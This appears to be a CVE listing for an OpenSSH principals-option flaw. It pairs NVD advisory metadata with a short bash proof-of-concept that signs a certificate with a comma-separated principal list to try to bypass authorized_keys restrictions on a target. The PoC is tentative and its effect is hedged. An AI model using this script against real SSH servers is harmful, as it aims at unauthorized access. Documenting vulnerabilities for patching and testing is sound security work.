CVE-2026-35414

#!/bin/bash # PoC for CVE-2026-35414: OpenSSH principals option mishandling # Concept: Using a certificate with comma-separated principals to bypass authorized_keys restrictions. # 1. Generate a CA key (Attacker/Compromised CA) ssh-keygen -f ca_key -t ecdsa -N "" # 2. Generate a user key ssh-keygen -f user_key -t ecdsa -N "" # 3. Sign the user key with a principal list containing a comma # Exploiting the parsing logic in versions < 10.3 ssh-keygen -s ca_key -I test_id -n "admin,trusted" user_key.pub # 4. Attempt authentication # If the server expects "admin" but mishandles the comma, access may be granted. echo "Connect to target using: ssh -i user_key -i user_key-cert.pub user@target"

{"cve": {"id": "CVE-2026-35414", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:34.690", "lastModified": "2026-04-10T19:36:57.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenSSH before 10.3 mishandles the authorized_keys principals option in uncommon scenarios involving a principals list in conjunction with a Certificate Authority that makes certain use of comma characters."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-670"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openbsd:openssh:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.3", "matchCriteriaId": "F40F50BC-86AA-4D7F-88A5-A244CD7606F3"}]}]}], "references": [{"url": "https://marc.info/?l=openssh-unix-dev&m=177513443901484&w=2", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://www.openssh.org/releasenotes.html#10.3p1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/02/3", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}